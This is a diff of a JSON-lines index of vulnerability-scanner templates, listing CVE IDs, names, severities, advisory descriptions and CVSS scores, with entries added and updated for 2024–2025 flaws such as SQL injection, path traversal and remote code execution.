 {"ID":"CVE-2024-3234","Info":{"Name":"Chuanhu Chat - Directory Traversal","Severity":"critical","Description":"The gaizhenbiao/chuanhuchatgpt application is vulnerable to a path traversal attack due to its use of an outdated gradio component. The application is designed to restrict user access to resources within the `web_assets` folder. However, the outdated version of gradio it employs is susceptible to path traversal, as identified in CVE-2023-51449. This vulnerability allows unauthorized users to bypass the intended restrictions and access sensitive files, such as `config.json`, which contains API keys. The issue affects the latest version of chuanhuchatgpt prior to the fixed version released on 20240305.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-3234.yaml"}
@@ -2782,7 +2784,7 @@
 {"ID":"CVE-2024-3552","Info":{"Name":"Web Directory Free \u003c 1.7.0 - SQL Injection","Severity":"critical","Description":"The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-3552.yaml"}
 {"ID":"CVE-2024-35584","Info":{"Name":"openSIS \u003c 9.1 - SQL Injection","Severity":"high","Description":"SQL injection vulnerability in Ajax.php, ForWindow.php, ForExport.php, Modules.php, functions/HackingLogFnc.php in OpenSis Community Edition 9.1, 8.0, and possibly earlier versions. It is possible for an authenticated user to perform SQL Injection due to the lack to sanitisation. The application takes arbitrary value from \"X-Forwarded-For\" header and appends it to a SQL INSERT statement directly, leading to SQL Injection.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-35584.yaml"}
 {"ID":"CVE-2024-35627","Info":{"Name":"TileServer API - Cross Site Scripting","Severity":"medium","Description":"tileserver-gl up to v4.4.10 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /data/v3/?key.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-35627.yaml"}
-{"ID":"CVE-2024-36104","Info":{"Name":"Apache OFBiz - Path Traversal","Severity":"critical","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-36104.yaml"}
+{"ID":"CVE-2024-36104","Info":{"Name":"Apache OFBiz - Directory Traversal \u0026 Remote Code Execution","Severity":"critical","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-36104.yaml"}
 {"ID":"CVE-2024-36117","Info":{"Name":"Reposilite \u003e= 3.3.0, \u003c 3.5.12 - Arbitrary File Read","Severity":"high","Description":"Reposilite is an open source, lightweight and easy-to-use repository manager for Maven based artifacts in JVM ecosystem. Reposilite v3.5.10 is affected by an Arbitrary File Read vulnerability via path traversal while serving expanded javadoc files. Reposilite has addressed this issue in version 3.5.12. There are no known workarounds for this vulnerability. This issue was discovered and reported by the GitHub Security lab and is also tracked as GHSL-2024-074.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-36117.yaml"}
 {"ID":"CVE-2024-36401","Info":{"Name":"GeoServer RCE in Evaluating Property Name Expressions","Severity":"critical","Description":"In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-36401.yaml"}
 {"ID":"CVE-2024-36404","Info":{"Name":"GeoServer and GeoTools - Remote Code Execution","Severity":"critical","Description":"GeoTools is an open source Java library that provides tools for geospatial data. Prior to versions 31.2, 30.4, and 29.6, Remote Code Execution (RCE) is possible if an application uses certain GeoTools functionality to evaluate XPath expressions supplied by user input. Versions 31.2, 30.4, and 29.6 contain a fix for this issue. As a workaround, GeoTools can operate with reduced functionality by removing the `gt-complex` jar from one's application. As an example of the impact, application schema `datastore` would not function without the ability to use XPath expressions to query complex content. Alternatively, one may utilize a drop-in replacement GeoTools jar from SourceForge for versions 31.1, 30.3, 30.2, 29.2, 28.2, 27.5, 27.4, 26.7, 26.4, 25.2, and 24.0. These jars are for download only and are not available from maven central, intended to quickly provide a fix to affected applications.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-36404.yaml"}
@@ -2814,7 +2816,7 @@
 {"ID":"CVE-2024-38514","Info":{"Name":"NextChat - Server-Side Request Forgery","Severity":"high","Description":"NextChat v2.12.3 suffers from a Server-Side Request Forgery (SSRF) and Cross-Site Scripting vulnerability due to a lack of validation of the GET parameter on the WebDav API endpoint.\n","Classification":{"CVSSScore":"7.4"}},"file_path":"http/cves/2024/CVE-2024-38514.yaml"}
 {"ID":"CVE-2024-38653","Info":{"Name":"Ivanti Avalanche SmartDeviceServer - XML External Entity","Severity":"high","Description":"XXE in SmartDeviceServer in Ivanti Avalanche 6.3.1 allows a remote unauthenticated attacker to read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-38653.yaml"}
 {"ID":"CVE-2024-38816","Info":{"Name":"WebMvc.fn/WebFlux.fn - Path Traversal","Severity":"high","Description":"Applications serving static resources through the functional web frameworks WebMvc.fn or WebFlux.fn are vulnerable to path traversal attacks. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible to the process in which the Spring application is running.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-38816.yaml"}
-{"ID":"CVE-2024-38856","Info":{"Name":"Apache OFBiz - Remote Code Execution","Severity":"critical","Description":"Incorrect Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-38856.yaml"}
+{"ID":"CVE-2024-38856","Info":{"Name":"Apache OFBiz - Improper Authorization \u0026 Remote Code Execution","Severity":"critical","Description":"Improper Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-38856.yaml"}
 {"ID":"CVE-2024-3922","Info":{"Name":"Dokan Pro \u003c= 3.10.3 - SQL Injection","Severity":"critical","Description":"The Dokan Pro plugin for WordPress is vulnerable to SQL Injection via the 'code' parameter in all versions up to, and including, 3.10.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-3922.yaml"}
 {"ID":"CVE-2024-39250","Info":{"Name":"EfroTech Timetrax v8.3 - Sql Injection","Severity":"high","Description":"EfroTech Timetrax v8.3 was discovered to contain an unauthenticated SQL injection vulnerability via the q parameter in the search web interface.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-39250.yaml"}
 {"ID":"CVE-2024-39713","Info":{"Name":"Rocket.Chat - Server-Side Request Forgery (SSRF)","Severity":"high","Description":"A Server-Side Request Forgery (SSRF) affects Rocket.Chat's Twilio webhook endpoint before version 6.10.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-39713.yaml"}
@@ -3042,6 +3044,7 @@
 {"ID":"CVE-2025-1097","Info":{"Name":"Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-tls-match-cn` Annotation","Severity":"high","Description":"A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-1097.yaml"}
 {"ID":"CVE-2025-1098","Info":{"Name":"Ingress-Nginx Controller - Configuration Injection via Unsanitized Mirror Annotations","Severity":"high","Description":"A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `mirror-target` and `mirror-host` Ingress annotations can be used to inject arbitrary configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-1098.yaml"}
 {"ID":"CVE-2025-1323","Info":{"Name":"WP-Recall – Plugin \u003c= 16.26.10 - Unauthenticated SQL Injection","Severity":"high","Description":"The WP-Recall – Registration, Profile, Commerce \u0026 More plugin for WordPress is vulnerable to SQL Injection via the 'databeat' parameter in all versions up to, and including, 16.26.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-1323.yaml"}
+{"ID":"CVE-2025-1595","Info":{"Name":"EasyCVR \u003c=2.1.2 - Information Disclosure","Severity":"medium","Description":"A vulnerability has been found in Anhui Xufan Information Technology EasyCVR up to 2.7.0 and classified as problematic. This vulnerability affects unknown code of the file /api/v1/getbaseconfig. The manipulation leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-1595.yaml"}
 {"ID":"CVE-2025-1661","Info":{"Name":"HUSKY – Products Filter Professional for WooCommerce \u003c= 1.3.6.5 - Unauthenticated Local File Inclusion","Severity":"critical","Description":"The HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3.6.5 via the 'template' parameter of the woof_text_search AJAX action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1661.yaml"}
 {"ID":"CVE-2025-1743","Info":{"Name":"Pichome 2.1.0 - Arbitrary File Read","Severity":"high","Description":"A vulnerability, which was classified as critical, was found in zyx0814 Pichome 2.1.0. This affects an unknown part of the file /index.php?mod=textviewer. The manipulation of the argument src leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-1743.yaml"}
 {"ID":"CVE-2025-1974","Info":{"Name":"Ingress-Nginx Controller - Remote Code Execution","Severity":"critical","Description":"A security issue was discovered in Kubernetes where under certain conditions, an unauthenticated attacker with access to the pod network can achieve arbitrary code execution in the context of the ingress-nginx controller. This can lead to disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1974.yaml"}
@@ -3060,6 +3063,7 @@
 {"ID":"CVE-2025-24813","Info":{"Name":"Apache Tomcat Path Equivalence - Remote Code Execution","Severity":"critical","Description":"Path Equivalence- 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-24813.yaml"}
 {"ID":"CVE-2025-24893","Info":{"Name":"XWiki Platform - Remote Code Execution","Severity":"critical","Description":"Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the confidentiality, integrity, and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 15.10.11, 16.4.1, and 16.5.0RC1.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-24893.yaml"}
 {"ID":"CVE-2025-24963","Info":{"Name":"Vitest Browser Mode - Local File Read","Severity":"medium","Description":"Vitest is a testing framework powered by Vite. The `__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by `browser.api.host- true`, an attacker can send a request to that handler from remote to get the content of arbitrary files.This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system. This code was added by commit `2d62051`. Users explicitly exposing the browser mode server to the network by `browser.api.host- true` may get any files exposed. This issue has been addressed in versions 2.1.9 and 3.0.4. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n","Classification":{"CVSSScore":"5.9"}},"file_path":"http/cves/2025/CVE-2025-24963.yaml"}
+{"ID":"CVE-2025-25257","Info":{"Name":"Fortinet FortiWeb - SQL Injection","Severity":"critical","Description":"An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPS requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-25257.yaml"}
 {"ID":"CVE-2025-2539","Info":{"Name":"File Away \u003c= 3.9.9.0.1 - Missing Authorization to Unauthenticated Arbitrary File Read","Severity":"high","Description":"The File Away plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the ajax() function in all versions up to, and including, 3.9.9.0.1. This makes it possible for unauthenticated attackers, leveraging the use of a reversible weak algorithm,  to read the contents of arbitrary files on the server, which can contain sensitive information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-2539.yaml"}
 {"ID":"CVE-2025-2563","Info":{"Name":"User Registration \u0026 Membership \u003c= 4.1.1 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The User Registration \u0026 Membership plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 4.1.1. This is due to insufficient restrictions on role type in the 'prepare_members_data()' function. This makes it possible for unauthenticated attackers to create newuser accounts with the 'administrator' role, allowing complete control over the affected WordPress site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2563.yaml"}
 {"ID":"CVE-2025-2609","Info":{"Name":"MagnusBilling Login Logs - Cross-Site Scripting","Severity":"high","Description":"Improper neutralization of input during web page generation vulnerability in MagnusSolution MagnusBilling login logging allows unauthenticated users to store HTML content in the viewable log component accessible at /mbilling/index.php/logUsers/read\" cross-site scripting This vulnerability is associated with program files protected/components/MagnusLog.Php.This issue affects MagnusBilling- through 7.3.0.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2025/CVE-2025-2609.yaml"}
@@ -3098,6 +3102,7 @@
 {"ID":"CVE-2025-31324","Info":{"Name":"SAP NetWeaver Visual Composer Metadata Uploader - Deserialization","Severity":"critical","Description":"SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-31324.yaml"}
 {"ID":"CVE-2025-31489","Info":{"Name":"MinIO - Incomplete Signature Validation for Unsigned-Trailer Uploads","Severity":"high","Description":"MinIO is a High Performance Object Storage released under GNU Affero General Public License v3.0. The signature component of the authorization may be invalid, which would mean that as a client you can use any arbitrary secret to upload objects given the user already has prior WRITE permissions on the bucket. Prior knowledge of access-key, and bucket name this user might have access\nto - and an access-key with a WRITE permissions is necessary. However with relevant information in place, uploading random objects to buckets is trivial and easy via curl.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-31489.yaml"}
 {"ID":"CVE-2025-32101","Info":{"Name":"UNA CMS \u003c= 14.0.0-RC4 - PHP Object Injection","Severity":"critical","Description":"The vulnerability is located in the /template/scripts/BxBaseMenuSetAclLevel.php script. Specifically, within the BxBaseMenuSetAclLevel::getCode() method. When calling this method, user input passed through the \"profile_id\" POST parameter is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as writing and executing arbitrary PHP code.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-32101.yaml"}
+{"ID":"CVE-2025-32430","Info":{"Name":"XWiki Platform - Cross-Site Scripting","Severity":"medium","Description":"XWiki Platform versions \u003e= 4.2-milestone-3 and \u003c 16.4.8, \u003e= 16.5.0-rc-1 and \u003c 16.10.6, and \u003e= 17.0.0-rc-1 and \u003c 17.3.0-rc-1 are vulnerable to reflected XSS in two templates. The vulnerability allows an attacker to execute malicious JavaScript code in the context of the victim's session by getting the victim to visit an attacker-controlled URL.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-32430.yaml"}
 {"ID":"CVE-2025-32432","Info":{"Name":"CraftCMS - Remote Code Execution","Severity":"critical","Description":"Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity attack vector.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-32432.yaml"}
 {"ID":"CVE-2025-3248","Info":{"Name":"Langflow AI - Unauthenticated Remote Code Execution","Severity":"critical","Description":"Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-3248.yaml"}
 {"ID":"CVE-2025-32813","Info":{"Name":"Infoblox NetMRI \u003c 7.6.1 - Unauthenticated Command Injection in get_saml_request","Severity":"high","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Remote Unauthenticated Command Injection can occur.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2025/CVE-2025-32813.yaml"}
@@ -3109,6 +3114,7 @@
 {"ID":"CVE-2025-34031","Info":{"Name":"Moodle Jmol Filter 6.1 - Local File Inclusion","Severity":"high","Description":"Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-34031.yaml"}
 {"ID":"CVE-2025-34032","Info":{"Name":"Moodle LMS Jmol Plugin \u003c= 6.1 - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-34032.yaml"}
 {"ID":"CVE-2025-34040","Info":{"Name":"Zhiyuan OA Platform - Arbitrary File Upload","Severity":"critical","Description":"An arbitrary file upload vulnerability exists in the Zhiyuan OA platform 5.0, 5.1 - 5.6sp1, 6.0 - 6.1sp2, 7.0, 7.0sp1 - 7.1, 7.1sp1, and 8.0 - 8.0sp2 via the wpsAssistServlet interface. The realFileType and fileId parameters are improperly validated during multipart file uploads, allowing unauthenticated attackers to upload crafted JSP files outside of intended directories using path traversal. Successful exploitation enables remote code execution as the uploaded file can be accessed and executed through the web server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34040.yaml"}
+{"ID":"CVE-2025-34073","Info":{"Name":"Maltrail \u003c=0.54 Username Parameter -  Remote Command Execution","Severity":"critical","Description":"Maltrail versions \u003c=0.54. A remote attacker can execute arbitrary operating system commands via the username parameter in a POST request to the /login endpoint.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34073.yaml"}
 {"ID":"CVE-2025-34077","Info":{"Name":"WordPress Pie Register \u003c= 3.7.1.4 - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability exists in the WordPress Pie Register plugin ≤ 3.7.1.4 that allows unauthenticated attackers to impersonate arbitrary users by submitting a crafted POST request to the login endpoint. By setting social_site=true and manipulating the user_id_social_site parameter, an attacker can generate a valid WordPress session cookie for any user ID, including administrators.Once authenticated, the attacker may exploit plugin upload functionality to install a malicious plugin containing arbitrary PHP code, resulting in remote code execution on the underlying server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34077.yaml"}
 {"ID":"CVE-2025-34085","Info":{"Name":"WordPress Simple File List \u003c=4.2.2 - Remote Code Execution","Severity":"critical","Description":"An unrestricted file upload vulnerability in the WordPress Simple File List plugin before version 4.2.3 allows unauthenticated remote attackers to achieve remote code execution. The plugin's upload endpoint (ee-upload-engine.php) restricts file uploads based on extension, but lacks proper validation after file renaming. An attacker can first upload a PHP payload disguised as a .png file, then use the plugin’s ee-file-engine.php rename functionality to change the extension to .php. This bypasses upload restrictions and results in the uploaded payload being executable on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34085.yaml"}
 {"ID":"CVE-2025-34141","Info":{"Name":"ETQ Reliance - Reflected XSS via SQLConverterServlet","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in ETQ Reliance CG (legacy) platform within the SQLConverterServlet component. This vulnerability requires user interaction, such as clicking a crafted link, and may result in execution of unauthorized scripts in the user's context. The affected servlet was unnecessarily exposed to authenticated users and has since been disabled in version SE.2025.1.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-34141.yaml"}
@@ -3122,10 +3128,12 @@
 {"ID":"CVE-2025-41393","Info":{"Name":"Ricoh Web Image Monitor - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting vulnerability exists in the laser printers and MFPs (multifunction printers) which implement Ricoh Web Image Monitor. If exploited, an arbitrary script may be executed on the web browser of the user who accessed Web Image Monitor.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-41393.yaml"}
 {"ID":"CVE-2025-41646","Info":{"Name":"RevPi Webstatus \u003c= v2.4.5 - Authentication Bypass","Severity":"critical","Description":"An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-41646.yaml"}
 {"ID":"CVE-2025-4322","Info":{"Name":"Motors \u003c= 5.6.67 - Unauthenticated Privilege Escalation via Password Update/Account Takeover","Severity":"critical","Description":"The Motors theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 5.6.67. This is due to the theme not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user passwords, including those of administrators, and leverage that to gain access to their account.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4322.yaml"}
+{"ID":"CVE-2025-4334","Info":{"Name":"Simple User Registration \u003c= 6.3 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation. It lacks proper restrictions on user meta values during registration. Unauthenticated attackers can exploit this to register as administrators.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4334.yaml"}
 {"ID":"CVE-2025-4380","Info":{"Name":"Ads Pro Plugin \u003c= 4.89 - Local File Inclusion","Severity":"critical","Description":"The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsa_template' parameter of the `bsa_preview_callback` function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases .php files can can be uploaded and included, or already exist on the site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4380.yaml"}
-{"ID":"CVE-2025-4388","Info":{"Name":"Liferay Portal 'marketplace-app-manager-web' - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-4388.yaml"}
+{"ID":"CVE-2025-4388","Info":{"Name":"Liferay Portal - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-4388.yaml"}
 {"ID":"CVE-2025-4396","Info":{"Name":"Relevanssi \u003c= 4.24.4 (Free) - Unauthenticated SQL Injection","Severity":"high","Description":"The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and \u003c= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4396.yaml"}
 {"ID":"CVE-2025-44148","Info":{"Name":"MailEnable Mail Service \u003c v10 - Cross-Site Scripting","Severity":"medium","Description":"Cross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx component.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-44148.yaml"}
+{"ID":"CVE-2025-44177","Info":{"Name":"White Star Software ProTop - Directory Traversal","Severity":"high","Description":"A directory traversal vulnerability was discovered in White Star Software Protop version 4.4.2-2024-11-27, specifically in the /pt3upd/ endpoint. An unauthenticated attacker can remotely read arbitrary files on the underlying OS using encoded traversal sequences.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2025/CVE-2025-44177.yaml"}
 {"ID":"CVE-2025-4427","Info":{"Name":"Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution","Severity":"critical","Description":"An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-4427.yaml"}
 {"ID":"CVE-2025-45854","Info":{"Name":"JEHC-BPM - Remote Code Execute","Severity":"critical","Description":"A Remote Command Execution vulnerability in the component /server/executeExec of JEHC-BPM \u003c= v2.0.1 allows attackers to execute arbitrary code. The vulnerability exists due to insufficient authorization checks in the executeExec endpoint which allows direct command execution.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-45854.yaml"}
 {"ID":"CVE-2025-45985","Info":{"Name":"Blink Router - Command Injection","Severity":"critical","Description":"Blink routers BL-WR9000 V2.4.9 , BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 v1.0.5 , BL-LTE300 v1.2.3, BL-F1200_AT1 v1.0.0, BL-X26_AC8 v1.2.8, BLAC450M_AE4 v4.0.0 and BL-X26_DA3 v1.2.7 were discovered to contain a command injection vulnerability via the bs_SetSSIDHide function.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-45985.yaml"}
@@ -3139,6 +3147,7 @@
 {"ID":"CVE-2025-47916","Info":{"Name":"Invision Community \u003c=5.0.6 Unauthenticated RCE via Template Injection","Severity":"critical","Description":"Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-47916.yaml"}
 {"ID":"CVE-2025-48827","Info":{"Name":"vBulletin 5.0.0-6.0.3 - Authentication Bypass","Severity":"critical","Description":"vBulletin 5.0.0 through 5.7.5 and 6.0.0 through 6.0.3 contain an authentication bypass caused by unauthenticated access to protected API controllers on PHP 8.1 or later, letting unauthenticated attackers invoke protected methods remotely.Starting from PHP 8.1, due to an internal adjustment to handling of ReflectionMethod::invoke() and similar methods, it now allows — by default — invocation of protected / private methods when using PHP's Reflection API.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-48827.yaml"}
